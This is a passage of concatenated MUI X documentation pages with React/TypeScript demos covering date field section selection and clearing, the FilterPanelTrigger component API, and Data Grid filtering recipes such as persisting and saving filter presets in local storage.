Those sections are independent, pressing <kbd class="key">ArrowUp</kbd> while focusing the `day` section will add one day to the date, but it will never change the month or the year.

### Control the selected sections

Use the `selectedSections` and `onSelectedSectionsChange` props to control which sections are currently being selected.

This prop accepts the following formats:

1. If a number is provided, the section at this index will be selected.
2. If `"all"` is provided, all the sections will be selected.
3. If an object with `startIndex` and `endIndex` fields is provided, the sections between those two indexes will be selected.
4. If a string of type `FieldSectionType` is provided, the first section with that name will be selected.
5. If `null` is provided, no section will be selected.

:::warning
You need to make sure the input is focused before imperatively updating the selected sections.
:::

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { FieldSectionType, FieldSelectedSections } from '@mui/x-date-pickers/models';
import { DateField } from '@mui/x-date-pickers/DateField';

export default function ControlledSelectedSections() {
  const [selectedSections, setSelectedSections] =
    React.useState<FieldSelectedSections>(null);
  const inputRef = React.useRef<HTMLInputElement>(null);

  const setSelectedSectionType = (selectedSectionType: FieldSectionType) => {
    inputRef.current?.focus();
    setSelectedSections(selectedSectionType);
  };

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={2}>
        <Stack direction="row" spacing={2}>
          <Button variant="outlined" onClick={() => setSelectedSectionType('month')}>
            Month
          </Button>
          <Button variant="outlined" onClick={() => setSelectedSectionType('day')}>
            Day
          </Button>
          <Button variant="outlined" onClick={() => setSelectedSectionType('year')}>
            Year
          </Button>
        </Stack>
        <DateField
          inputRef={inputRef}
          selectedSections={selectedSections}
          onSelectedSectionsChange={setSelectedSections}
        />
      </Stack>
    </LocalizationProvider>
  );
}

```

#### Usage with single input range fields [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

For single input range fields, you won't be able to use the section name to select a single section because each section is present both in the start and in the end date.
Instead, you can pass the index of the section using the `unstableFieldRef` prop to access the full list of sections:

:::warning
The `unstableFieldRef` is not stable yet. More specifically, the shape of the `section` object might be modified in the near future.
Please only use it if needed.
:::

```tsx
import * as React from 'react';
import { Dayjs } from 'dayjs';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import {
  FieldSectionType,
  FieldSelectedSections,
  FieldRef,
} from '@mui/x-date-pickers/models';
import { DateRange, RangePosition } from '@mui/x-date-pickers-pro/models';
import { SingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';

export default function ControlledSelectedSectionsSingleInputRangeField() {
  const [selectedSections, setSelectedSections] =
    React.useState<FieldSelectedSections>(null);
  const inputRef = React.useRef<HTMLInputElement>(null);
  const fieldRef = React.useRef<FieldRef<DateRange<Dayjs>>>(null);

  const setSelectedSectionType = (
    selectedSectionType: FieldSectionType,
    position: RangePosition,
  ) => {
    if (!fieldRef.current) {
      return;
    }

    inputRef.current?.focus();
    const sections = fieldRef.current.getSections().map((el) => el.type);
    setSelectedSections(
      position === 'start'
        ? sections.indexOf(selectedSectionType)
        : sections.lastIndexOf(selectedSectionType),
    );
  };

  const renderDateHeader = (position: RangePosition) => (
    <Stack spacing={2} alignItems="center">
      <Typography textTransform="capitalize">{position}</Typography>
      <Stack direction="row" spacing={1}>
        {(['month', 'day', 'year'] as const).map((sectionName) => (
          <Button
            size="small"
            variant="outlined"
            onClick={() => setSelectedSectionType(sectionName, position)}
            key={sectionName}
          >
            {sectionName}
          </Button>
        ))}
      </Stack>
    </Stack>
  );

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={2}>
        <Stack spacing={2}>
          {renderDateHeader('start')}
          {renderDateHeader('end')}
        </Stack>
        <SingleInputDateRangeField
          sx={{ minWidth: 300 }}
          unstableFieldRef={fieldRef}
          inputRef={inputRef}
          selectedSections={selectedSections}
          onSelectedSectionsChange={setSelectedSections}
        />
      </Stack>
    </LocalizationProvider>
  );
}

```

#### Usage with multi-input range fields [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

For multi-input range fields, you just have to make sure that the right input is focused before updating the selected section(s).
Otherwise, the section(s) might be selected on the wrong input.

```tsx
import * as React from 'react';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { FieldSectionType, FieldSelectedSections } from '@mui/x-date-pickers/models';
import { RangePosition } from '@mui/x-date-pickers-pro/models';
import { MultiInputDateRangeField } from '@mui/x-date-pickers-pro/MultiInputDateRangeField';

export default function ControlledSelectedSectionsMultiInputRangeField() {
  const [selectedSections, setSelectedSections] =
    React.useState<FieldSelectedSections>(null);
  const startInputRef = React.useRef<HTMLInputElement>(null);
  const endInputRef = React.useRef<HTMLInputElement>(null);

  const setSelectedSectionType = (
    selectedSectionType: FieldSectionType,
    position: RangePosition,
  ) => {
    if (position === 'start') {
      startInputRef.current?.focus();
    } else {
      endInputRef.current?.focus();
    }
    setSelectedSections(selectedSectionType);
  };

  const renderDateHeader = (position: RangePosition) => (
    <Stack spacing={2} alignItems="center">
      <Typography textTransform="capitalize">{position}</Typography>
      <Stack direction="row" spacing={1}>
        {(['month', 'day', 'year'] as const).map((sectionName) => (
          <Button
            size="small"
            variant="outlined"
            onClick={() => setSelectedSectionType(sectionName, position)}
          >
            {sectionName}
          </Button>
        ))}
      </Stack>
    </Stack>
  );

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Stack spacing={2}>
        <Stack spacing={2} justifyContent="space-between">
          {renderDateHeader('start')}
          {renderDateHeader('end')}
        </Stack>
        <MultiInputDateRangeField
          sx={{ minWidth: 300 }}
          slotProps={{
            textField: (ownerState) => ({
              inputRef:
                ownerState.position === 'start' ? startInputRef : endInputRef,
            }),
          }}
          selectedSections={selectedSections}
          onSelectedSectionsChange={setSelectedSections}
        />
      </Stack>
    </LocalizationProvider>
  );
}

```

### Clearable behavior

You can use the `clearable` prop to enable the clearing behavior on a field. You can also add an event handler using the `onClear` callback prop.

:::info
For **multi-input** range fields the clearable behavior is not supported yet.
:::

```tsx
import * as React from 'react';
import { Dayjs } from 'dayjs';
import { DemoItem } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateField } from '@mui/x-date-pickers/DateField';
import Box from '@mui/material/Box';
import Alert from '@mui/material/Alert';

export default function ClearableBehavior() {
  const [value, setValue] = React.useState<Dayjs | null>(null);
  const [cleared, setCleared] = React.useState<boolean>(false);

  React.useEffect(() => {
    if (cleared) {
      const timeout = setTimeout(() => {
        setCleared(false);
      }, 1500);

      return () => clearTimeout(timeout);
    }
    return () => {};
  }, [cleared]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Box
        sx={{
          width: '100%',
          height: '100%',
          display: 'flex',
          justifyContent: 'center',
          position: 'relative',
        }}
      >
        <DemoItem label="DateField">
          <DateField
            sx={{ width: '300px' }}
            value={value}
            onChange={(newValue) => setValue(newValue)}
            onClear={() => setCleared(true)}
            clearable
          />
        </DemoItem>
        {cleared && !value && (
          <Alert
            sx={{ position: 'absolute', bottom: 0, right: 0 }}
            severity="success"
          >
            Field cleared!
          </Alert>
        )}
      </Box>
    </LocalizationProvider>
  );
}

```

You can also customize the icon you want to be displayed inside the clear `IconButton`.

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateField } from '@mui/x-date-pickers/DateField';
import { SingleInputDateRangeField } from '@mui/x-date-pickers-pro/SingleInputDateRangeField';
import BackspaceIcon from '@mui/icons-material/Backspace';
import HighlightOffIcon from '@mui/icons-material/HighlightOff';

export default function CustomizeClearIcon() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField', 'SingleInputDateRangeField']}>
        <DateField
          label="Date Field"
          clearable
          slots={{ clearIcon: HighlightOffIcon }}
        />
        <SingleInputDateRangeField
          label="Date Range Field"
          clearable
          slots={{ clearIcon: BackspaceIcon }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

---

# Source: https://mui.com/x/api/data-grid/filter-panel-trigger.md

# FilterPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Filter Panel component 🚧](/x/react-data-grid/components/filter-panel)

## Import

```jsx
import { FilterPanelTrigger } from '@mui/x-data-grid/components';
// or
import { FilterPanelTrigger } from '@mui/x-data-grid';
// or
import { FilterPanelTrigger } from '@mui/x-data-grid-pro';
// or
import { FilterPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/filterPanel/FilterPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/filterPanel/FilterPanelTrigger.tsx)

---

# Source: https://mui.com/x/react-data-grid/components/filter-panel.md

---
productId: x-data-grid
components: FilterPanelTrigger
packageName: '@mui/x-data-grid'
githubLabel: 'scope: data grid'
---

# Data Grid - Filter Panel component 🚧

Customize the Data Grid's filter panel.

:::warning
This component is incomplete.

Currently, the Filter Panel Trigger is the only part of the Filter Panel component available.
Future versions of the Filter Panel component will make it possible to compose each of its parts to create a custom filter panel.

In the meantime, it's still possible to deeply customize the panel's subcomponents using custom slots.
See [Filter customization—Custom filter panel](/x/react-data-grid/filtering/customization/#custom-filter-panel)
for more details.

:::

The [filter panel](/x/react-data-grid/filtering/) is enabled by default.
Users can trigger the filter panel via the column menu, as well as from the toolbar when `showToolbar` is passed to the `<DataGrid />` component.

You can use the Filter Panel Trigger and [Toolbar](/x/react-data-grid/components/toolbar/) components when you need to customize the filter panel trigger, or when implementing a custom toolbar.

## Basic usage

The demo below shows how to add a filter panel trigger to a custom toolbar.

```tsx
import {
  DataGrid,
  Toolbar,
  ToolbarButton,
  FilterPanelTrigger,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import Tooltip from '@mui/material/Tooltip';
import FilterListIcon from '@mui/icons-material/FilterList';

function CustomToolbar() {
  return (
    <Toolbar>
      <Tooltip title="Filters">
        <FilterPanelTrigger render={<ToolbarButton />}>
          <FilterListIcon fontSize="small" />
        </FilterPanelTrigger>
      </Tooltip>
    </Toolbar>
  );
}

export default function GridFilterPanelTrigger() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 10,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        slots={{ toolbar: CustomToolbar }}
        showToolbar
      />
    </div>
  );
}

```

## Anatomy

```tsx
import { FilterPanelTrigger } from '@mui/x-data-grid';

<FilterPanelTrigger />;
```

### Filter Panel Trigger

`<FilterPanelTrigger />` is a button that opens and closes the filter panel.
It renders the `baseButton` slot.

## Custom elements

Use the `render` prop to replace default elements.
See [Components usage—Customization](/x/react-data-grid/components/usage/#customization) for more details, and [Toolbar—Custom elements demo](/x/react-data-grid/components/toolbar/#custom-elements) for an example of a custom Filter Panel Trigger.

## Accessibility

### ARIA

You must apply a text label or an `aria-label` attribute to the `<FilterPanelTrigger />`.


# FilterPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Data Grid - Filter Panel component 🚧](/x/react-data-grid/components/filter-panel)

## Import

```jsx
import { FilterPanelTrigger } from '@mui/x-data-grid/components';
// or
import { FilterPanelTrigger } from '@mui/x-data-grid';
// or
import { FilterPanelTrigger } from '@mui/x-data-grid-pro';
// or
import { FilterPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/filterPanel/FilterPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/filterPanel/FilterPanelTrigger.tsx)

---

# Source: https://mui.com/x/react-data-grid/filtering-recipes.md

---
title: Data Grid - Filtering customization recipes
---

# Data Grid - Filtering customization recipes

Advanced filtering customization recipes.

## Persisting filters in local storage

You can persist the filters in the local storage to keep the filters applied after the page is reloaded.

In the demo below, the [`React.useSyncExternalStore` hook](https://react.dev/reference/react/useSyncExternalStore) is used to synchronize the filters with the local storage.

```tsx
import * as React from 'react';
import { DataGrid, DataGridProps, GridFilterModel } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

const createFilterModelStore = () => {
  let listeners: Array<() => void> = [];
  const lsKey = 'gridFilterModel';
  const emptyModel = 'null';

  return {
    subscribe: (callback: () => void) => {
      listeners.push(callback);
      return () => {
        listeners = listeners.filter((listener) => listener !== callback);
      };
    },
    getSnapshot: () => {
      try {
        return localStorage.getItem(lsKey) || emptyModel;
      } catch (error) {
        return emptyModel;
      }
    },

    getServerSnapshot: () => {
      return emptyModel;
    },

    update: (filterModel: GridFilterModel) => {
      localStorage.setItem(lsKey, JSON.stringify(filterModel));
      listeners.forEach((listener) => listener());
    },
  };
};

const usePersistedFilterModel = () => {
  const [filterModelStore] = React.useState(createFilterModelStore);

  const filterModelString = React.useSyncExternalStore(
    filterModelStore.subscribe,
    filterModelStore.getSnapshot,
    filterModelStore.getServerSnapshot,
  );

  const filterModel = React.useMemo(() => {
    try {
      return (JSON.parse(filterModelString) as GridFilterModel) || undefined;
    } catch (error) {
      return undefined;
    }
  }, [filterModelString]);

  return React.useMemo(
    () => [filterModel, filterModelStore.update] as const,
    [filterModel, filterModelStore.update],
  );
};

export default function FilteringLocalStorage() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  const [filterModel, setFilterModel] = usePersistedFilterModel();

  const onFilterModelChange = React.useCallback<
    NonNullable<DataGridProps['onFilterModelChange']>
  >(
    (newFilterModel) => {
      setFilterModel(newFilterModel);
    },
    [setFilterModel],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        showToolbar
        filterModel={filterModel}
        onFilterModelChange={onFilterModelChange}
      />
    </div>
  );
}

```

## Save and manage filters from the panel

Create a custom filter panel by wrapping the `GridFilterPanel` component and pass it to the `slots.filterPanel` prop.

In the demo below, the custom component lets users to save and manage filters, which are stored in local storage.
For a more scalable approach, you can replace local storage with a server-side database.

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridFilterModel,
  gridFilterModelSelector,
  GridFilterPanel,
  useGridApiContext,
  useGridSelector,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import TextField from '@mui/material/TextField';
import IconButton from '@mui/material/IconButton';
import Dialog from '@mui/material/Dialog';
import DialogTitle from '@mui/material/DialogTitle';
import DialogContent from '@mui/material/DialogContent';
import DialogActions from '@mui/material/DialogActions';
import List from '@mui/material/List';
import ListItem from '@mui/material/ListItem';
import ListItemButton from '@mui/material/ListItemButton';
import ListItemText from '@mui/material/ListItemText';
import Typography from '@mui/material/Typography';
import Alert from '@mui/material/Alert';
import Stack from '@mui/material/Stack';
import Tooltip from '@mui/material/Tooltip';
import Divider from '@mui/material/Divider';
import SaveIcon from '@mui/icons-material/Save';
import DeleteIcon from '@mui/icons-material/Delete';
import AddIcon from '@mui/icons-material/Add';

interface FilterPreset {
  id: string;
  name: string;
  filterModel: GridFilterModel;
  createdAt: string;
}

interface FilterPresetStore {
  presets: FilterPreset[];
  activePresetId: string | null;
}

const STORAGE_KEY = 'dataGridFilterPresets';
const EMPTY_STORE: FilterPresetStore = { presets: [], activePresetId: null };

const createPresetsStore = () => {
  let listeners: Array<() => void> = [];

  return {
    subscribe: (callback: () => void) => {
      listeners.push(callback);
      return () => {
        listeners = listeners.filter((listener) => listener !== callback);
      };
    },
    getSnapshot: () => {
      try {
        const saved = localStorage.getItem(STORAGE_KEY);
        return saved || JSON.stringify(EMPTY_STORE);
      } catch {
        return JSON.stringify(EMPTY_STORE);
      }
    },
    getServerSnapshot: () => {
      return JSON.stringify(EMPTY_STORE);
    },
    update: (store: FilterPresetStore) => {
      try {
        localStorage.setItem(STORAGE_KEY, JSON.stringify(store));
      } catch {
        // Silently fail if localStorage is not available
      }
      listeners.forEach((listener) => listener());
    },
  };
};

const usePersistedPresets = () => {
  const [presetsStore] = React.useState(createPresetsStore);

  const storeString = React.useSyncExternalStore(
    presetsStore.subscribe,
    presetsStore.getSnapshot,
    presetsStore.getServerSnapshot,
  );

  const store = React.useMemo(() => {
    try {
      return JSON.parse(storeString) as FilterPresetStore;
    } catch {
      return EMPTY_STORE;
    }
  }, [storeString]);

  return React.useMemo(
    () => [store, presetsStore.update] as const,
    [store, presetsStore.update],
  );
};

type GridFilterPanelProps = React.ComponentProps<typeof GridFilterPanel>;

function CustomFilterPanel(props: GridFilterPanelProps) {
  const apiRef = useGridApiContext();
  const [store, setStore] = usePersistedPresets();
  const [createFilterDialogOpen, setCreateFilterDialogOpen] = React.useState(false);
  const [createFilterName, setCreateFilterName] = React.useState('');

  const filterModel = useGridSelector(apiRef, gridFilterModelSelector);
  const hasActiveFilters = filterModel.items.length > 0;

  const handleSavePreset = () => {
    setStore({
      ...store,
      presets: store.presets.map((p) =>
        p.id === store.activePresetId
          ? {
              ...p,
              filterModel,
            }
          : p,
      ),
    });
  };

  const handleCreateFilter = () => {
    if (!createFilterName.trim()) {
      return;
    }

    const newPreset: FilterPreset = {
      id: `preset_${Date.now()}`,
      name: createFilterName.trim(),
      filterModel,
      createdAt: new Date().toISOString(),
    };

    setStore({
      ...store,
      presets: [...store.presets, newPreset],
      activePresetId: newPreset.id,
    });

    setCreateFilterDialogOpen(false);
    setCreateFilterName('');
  };

  const handleLoadPreset = (presetId: string) => {
    const preset = store.presets.find((p) => p.id === presetId);
    if (preset) {
      apiRef.current.setFilterModel(preset.filterModel);

      setStore({
        ...store,
        activePresetId: presetId,
      });
    }
  };

  const handleDeletePreset = (presetId: string) => {
    setStore({
      ...store,
      presets: store.presets.filter((p) => p.id !== presetId),
      activePresetId:
        store.activePresetId === presetId ? null : store.activePresetId,
    });
  };

  return (
    <React.Fragment>
      <Box
        sx={{
          minWidth: 256,
          display: 'flex',
          flexDirection: 'column',
          'div:has(&)': { flexWrap: 'wrap' },
        }}
      >
        <Box
          sx={{
            p: 2,
            pb: 1,
            display: 'flex',
            justifyContent: 'space-between',
            alignItems: 'center',
          }}
        >
          <Typography variant="subtitle2" sx={{ fontWeight: 'bold' }}>
            Saved Filter Presets
          </Typography>
          <Stack direction="row" spacing={0.5}>
            <Tooltip title="Create new filter">
              <IconButton
                onClick={() => setCreateFilterDialogOpen(true)}
                size="small"
                color="primary"
              >
                <AddIcon fontSize="small" />
              </IconButton>
            </Tooltip>
            <Tooltip title="Update selected filter">
              <span>
                <IconButton
                  onClick={handleSavePreset}
                  disabled={!store.activePresetId}
                  size="small"
                  color="primary"
                >
                  <SaveIcon fontSize="small" />
                </IconButton>
              </span>
            </Tooltip>
          </Stack>
        </Box>

        {store.presets.length === 0 ? (
          <Box sx={{ p: 2, pt: 0, flexGrow: 1, display: 'flex' }}>
            <Box
              sx={(theme) => ({
                flex: 1,
                border: '1px solid',
                borderColor: 'divider',
                borderRadius: 1,
                bgcolor: 'grey.100',
                display: 'flex',
                flexDirection: 'column',
                alignItems: 'center',
                justifyContent: 'center',
                p: 2,
                color: 'text.secondary',
                ...theme.applyStyles('dark', {
                  bgcolor: 'grey.900',
                }),
              })}
            >
              <Typography variant="body2" align="center">
                No saved filters yet
              </Typography>
            </Box>
          </Box>
        ) : (
          <List dense sx={{ pt: 0 }}>
            {store.presets.map((preset) => (
              <ListItem
                key={preset.id}
                disablePadding
                secondaryAction={
                  <IconButton
                    edge="end"
                    size="small"
                    onClick={(event) => {
                      event.stopPropagation();
                      handleDeletePreset(preset.id);
                    }}
                  >
                    <DeleteIcon fontSize="small" />
                  </IconButton>
                }
              >
                <ListItemButton
                  selected={preset.id === store.activePresetId}
                  onClick={() => handleLoadPreset(preset.id)}
                  sx={{
                    '&.Mui-selected': {
                      bgcolor: 'action.selected',
                      position: 'relative',
                      '&::after': {
                        content: '""',
                        position: 'absolute',
                        right: 0,
                        top: '50%',
                        transform: 'translateY(-50%)',
                        width: 3,
                        height: '60%',
                        bgcolor: 'primary.main',
                        borderRadius: '3px 0 0 3px',
                      },
                    },
                  }}
                >
                  <ListItemText
                    primary={preset.name}
                    secondary={
                      <Typography variant="caption" color="text.secondary">
                        {preset.filterModel.items.length} filter
                        {preset.filterModel.items.length > 1 ? 's' : ''}
                      </Typography>
                    }
                  />
                </ListItemButton>
              </ListItem>
            ))}
          </List>
        )}
      </Box>

      <Divider orientation="vertical" sx={{ height: 'auto' }} />

      <GridFilterPanel {...props} />

      <Dialog
        open={createFilterDialogOpen}
        onClose={() => setCreateFilterDialogOpen(false)}
        maxWidth="sm"
      >
        <DialogTitle>Create new filter</DialogTitle>
        <DialogContent>
          <Stack spacing={2} sx={{ mt: 1 }}>
            <TextField
              autoFocus
              label="Filter Name"
              value={createFilterName}
              onChange={(event) => setCreateFilterName(event.target.value)}
              fullWidth
              required
            />
            <Alert severity="info">
              {hasActiveFilters
                ? `This will save the current ${filterModel.items.length} active filter${filterModel.items.length !== 1 ? 's' : ''} as a new preset.`
                : 'This will create an empty filter preset that you can configure later.'}
            </Alert>
          </Stack>
        </DialogContent>
        <DialogActions>
          <Button
            variant="outlined"
            onClick={() => setCreateFilterDialogOpen(false)}
          >
            Cancel
          </Button>
          <Button
            onClick={handleCreateFilter}
            variant="contained"
            disabled={!createFilterName.trim()}
            startIcon={<AddIcon />}
          >
            Create Filter
          </Button>
        </DialogActions>
      </Dialog>
    </React.Fragment>
  );
}

export default function FilterPresetsPanel() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 10,
  });

  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        slots={{
          filterPanel: CustomFilterPanel,
        }}
        showToolbar
      />
    </Box>
  );
}

```

## Quick filter outside of the grid

The [Quick Filter](/x/react-data-grid/filtering/quick-filter/) component is typically used in the Data Grid's Toolbar component slot.

Some use cases may call for placing components like the Quick Filter outside of the Grid.
This requires certain considerations due to the Grid's context structure.
The following example shows how to accomplish this:

```tsx
import * as React from 'react';
import Portal from '@mui/material/Portal';
import Box from '@mui/material/Box';
import Grid from '@mui/material/Grid';
import {
  DataGrid,
  GridPortalWrapper,
  QuickFilter,
  QuickFilterClear,
  QuickFilterControl,
  ToolbarButton,
  ColumnsPanelTrigger,
  FilterPanelTrigger,
  Toolbar,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import TextField from '@mui/material/TextField';
import InputAdornment from '@mui/material/InputAdornment';
import SearchIcon from '@mui/icons-material/Search';
import CancelIcon from '@mui/icons-material/Cancel';
import Tooltip from '@mui/material/Tooltip';
import Badge from '@mui/material/Badge';
import FilterListIcon from '@mui/icons-material/FilterList';
import ViewColumnIcon from '@mui/icons-material/ViewColumn';

function MyCustomToolbar() {
  return (
    <React.Fragment>
      <Portal container={() => document.getElementById('filter-panel')!}>
        <GridPortalWrapper>
          <QuickFilter expanded>
            <QuickFilterControl
              render={({ ref, ...other }) => (
                <TextField
                  {...other}
                  sx={{ width: 260 }}
                  inputRef={ref}
                  aria-label="Search"
                  placeholder="Search..."
                  size="small"
                  slotProps={{
                    input: {
                      startAdornment: (
                        <InputAdornment position="start">
                          <SearchIcon fontSize="small" />
                        </InputAdornment>
                      ),
                      endAdornment: other.value ? (
                        <InputAdornment position="end">
                          <QuickFilterClear
                            edge="end"
                            size="small"
                            aria-label="Clear search"
                            material={{ sx: { marginRight: -0.75 } }}
                          >
                            <CancelIcon fontSize="small" />
                          </QuickFilterClear>
                        </InputAdornment>
                      ) : null,
                    },
                  }}
                />
              )}
            />
          </QuickFilter>
        </GridPortalWrapper>
      </Portal>

      <Toolbar>
        <Tooltip title="Columns">
          <ColumnsPanelTrigger render={<ToolbarButton />}>
            <ViewColumnIcon fontSize="small" />
          </ColumnsPanelTrigger>
        </Tooltip>

        <Tooltip title="Filters">
          <FilterPanelTrigger
            render={(triggerProps, state) => (
              <ToolbarButton {...triggerProps} color="default">
                <Badge
                  badgeContent={state.filterCount}
                  color="primary"
                  variant="dot"
                >
                  <FilterListIcon fontSize="small" />
                </Badge>
              </ToolbarButton>
            )}
          />
        </Tooltip>
      </Toolbar>
    </React.Fragment>
  );
}

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function QuickFilterOutsideOfGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 1000,
  });

  // Otherwise filter will be applied on fields such as the hidden column id
  const columns = React.useMemo(
    () => data.columns.filter((column) => VISIBLE_FIELDS.includes(column.field)),
    [data.columns],
  );

  return (
    <Grid container spacing={2}>
      <Grid>
        <Box id="filter-panel" />
      </Grid>
      <Grid style={{ height: 400, width: '100%' }}>
        <DataGrid
          {...data}
          loading={loading}
          columns={columns}
          slots={{
            toolbar: MyCustomToolbar,
          }}
          slotProps={{
            toolbar: {
              showQuickFilter: false,
            },
          }}
          showToolbar
          initialState={{
            filter: {
              filterModel: {
                items: [],
                quickFilterExcludeHiddenColumns: true,
              },
            },
          }}
        />
      </Grid>
    </Grid>
  );
}

```

## Calculating filtered rows in advance

The [Grid API](/x/react-data-grid/api-object/#how-to-use-the-api-object) provides the [`getFilterState`](/x/api/data-grid/grid-api/#grid-api-prop-getFilterState) method, which lets you display the row count for predefined filters upfront without applying filters to the Data Grid:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGridPro, useGridApiRef, GridFilterModel } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';
import Button from '@mui/material/Button';
import Stack from '@mui/material/Stack';

const predefinedFilters: { label: string; filterModel: GridFilterModel }[] = [
  {
    label: 'All',
    filterModel: { items: [] },
  },
  {
    label: 'Filled',
    filterModel: { items: [{ field: 'status', operator: 'is', value: 'Filled' }] },
  },
  {
    label: 'Open',
    filterModel: { items: [{ field: 'status', operator: 'is', value: 'Open' }] },
  },
  {
    label: 'Rejected',
    filterModel: { items: [{ field: 'status', operator: 'is', value: 'Rejected' }] },
  },
  {
    label: 'Partially Filled',
    filterModel: {
      items: [{ field: 'status', operator: 'is', value: 'PartiallyFilled' }],
    },
  },
];

export default function FilteredRowCount() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 1000,
    maxColumns: 10,
  });

  const apiRef = useGridApiRef();

  const [predefinedFiltersRowCount, setPredefinedFiltersRowCount] = React.useState<
    number[]
  >([]);

  const getFilteredRowsCount = React.useCallback(
    (filterModel: GridFilterModel) => {
      const rowIds = apiRef.current?.getAllRowIds();
      const filterState = apiRef.current?.getFilterState(filterModel);
      if (!rowIds || !filterState) {
        return 0;
      }

      const { filteredRowsLookup } = filterState;
      return rowIds.filter((rowId) => filteredRowsLookup[rowId] !== false).length;
    },
    [apiRef],
  );

  React.useEffect(() => {
    // Calculate the row count for predefined filters
    if (data.rows.length === 0) {
      return;
    }

    setPredefinedFiltersRowCount(
      predefinedFilters.map(({ filterModel }) => getFilteredRowsCount(filterModel)),
    );
  }, [apiRef, data.rows, getFilteredRowsCount]);

  return (
    <div style={{ overflow: 'hidden' }}>
      <Stack direction="row" gap={1} mb={1} flexWrap="wrap">
        {predefinedFilters.map(({ label, filterModel }, index) => {
          const count = predefinedFiltersRowCount[index];
          return (
            <Button
              key={label}
              onClick={() => apiRef.current?.setFilterModel(filterModel)}
              variant="outlined"
            >
              {label} {count !== undefined ? `(${count})` : ''}
            </Button>
          );
        })}
      </Stack>
      <Box sx={{ height: 520, width: '100%' }}>
        <DataGridPro {...data} loading={loading} apiRef={apiRef} />
      </Box>
    </div>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/filtering.md

# Data Grid - Filtering

Easily filter your rows based on one or several criteria.

The filters can be modified through the Data Grid interface in several ways:

- By opening the column menu and clicking the _Filter_ menu item.
- By clicking the _Filters_ button in the Data Grid toolbar (if enabled).

Each column type has its own filter operators.
The demo below lets you explore all the operators for each built-in column type.

_See [the dedicated section](/x/react-data-grid/filtering/customization/) to learn how to create your own custom filter operator._

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

export default function BasicExampleDataGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    visibleFields: VISIBLE_FIELDS,
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} loading={loading} showToolbar />
    </div>
  );
}

